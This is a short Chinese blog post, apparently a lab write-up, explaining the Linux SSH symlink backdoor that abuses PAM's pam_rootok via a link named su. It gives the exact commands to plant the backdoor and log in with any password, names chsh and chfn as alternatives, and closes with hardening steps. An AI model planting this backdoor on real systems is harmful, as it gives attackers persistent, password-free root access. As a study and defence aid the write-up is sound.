文章目录
原理:
1:ssh默认调用了PAM进行身份验证
2:PAM是linux系统中的一个独立的API(应用程序接口),他提供了各种验证模式模块
3:PAM的认证文件系统都统一存放在/etc/pam.d目录中
4:SSH的认证文件应该是/etc/pam.d/sshd,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登陆
5:通过软连接的方式,PAM认证实质上是通过软连接的文件名/tmp/su,在/etc/pam.d目录下找到对应的PAM认证文件
6:SSH的认证文件被改为了/etc/pam.d/su
实施
#创建软连接,并启动(注意名字一定要是su)
[root@CQ-BGP ~]# which sshd
/usr/sbin/sshd
[root@CQ-BGP ~]# ln -s /usr/sbin/sshd /tmp/su
[root@CQ-BGP ~]# /tmp/su -oport=12345
#远程连接,随便指输入个密码就可以登陆
ssh root@123.123.123.123 -p 12345
试验总结
1:Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
2:如果被控主机不允许root登陆可用其他已存在用户登陆
3:通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
4:任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密码登陆,实践表明,可成功利用的PAM配置文件除了su还有chsh、chfn
防御SSH软连接后面的方式(加固方式)
1:关闭pam认证
UsePAM no
2:关闭口令认证,开启使用key登陆
PasswordAuthentication no #关闭passswd登陆
如果文章对你有帮助,欢迎点击上方按钮打赏作者
暂无评论